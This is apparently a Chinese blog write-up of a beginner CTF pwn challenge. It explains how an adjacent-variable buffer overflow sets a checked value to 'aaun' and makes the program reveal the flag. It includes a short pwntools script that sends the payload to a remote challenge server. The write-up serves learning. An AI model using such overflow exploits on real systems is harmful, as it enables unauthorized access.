zoukankan      html  css  js  c++  java
  • CTF,第二题

    https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5052&page=1

    有了之前第一题的基础,这个就非常容易了,事实证明,第二题也确实比第一题难度低,直接下载文件,看代码

     

     

    主要看这三段就够了,第一段是当前函数的唯一一个函数体,功能是输出提示接受输入,其实 read 0 ,就是从标准输入流接受输入

    它read 了16个字节,然后判断了一个变量,如果值符合要求,那么久调用下面的函数,下面的函数输出flag(读一个文件)

    很简单,那么我只需要看一下那个输入的缓冲区和那个普通变量就好了。

    全局变量也不怕,内存分布很巧,等待输入的变量和后需要判断的变量挨着,

    结果导致,如果我可以精心构造一个字符串的话,就有可能在输入这个字符串之后,修改了邻接的第二个变量,最后让if 判断符合条件,

    if的条件是要求 判断变量处内存需要为 == “aaun”

    根据内存分布,发现,判断变量前,到上一个变量即接收输入的字符串起始地址,差距4个字节,判断变量长度又是4个字节,

    所以我们精心构造的字符串应该是这样的:????aaun。

    后面什么样,就随它去吧,我比较习惯把后面填满,即再补8字节,但是其实不填也没问题,

    代码如下

     1 from pwn import *
     2 
     3 a = remote('124.126.19.106', 39129)
     4 r = a.recvuntil('bof
    ')
     5 print(r)
     6 
     7 str = "a" * 4 + "aaun" 
     8 print(str)
     9 a.send(str);
    10 
    11 a.interactive()

    执行效果

    有了第一次的经验,这次就知道怎么玩了,挺容易的,没难度,

    一共就用了五分多,之间还去了倒了一杯咖啡,之后又去了一趟WC。

    循序渐进吧。

  • 相关阅读:
    Python 数据类型:字典
    .Net开发工程师工具箱
    Javascript事件设计模式(七)
    LINQ学习之旅 (四)
    JavaScript实现抽象类与虚方法(六)
    Javascript中的反射机制(五)
    Javascript中类的实现机制(四)
    Javascript中的函数(三)
    Javascript面向对象基础(二)
    Web应用程序项目XXXX已配置为使用IIS。无法访问IIS 元数据库。您没有足够的特权访问计算机上的IIS
  • 原文地址:https://www.cnblogs.com/suanguade/p/12963654.html
Copyright © 2011-2022 走看看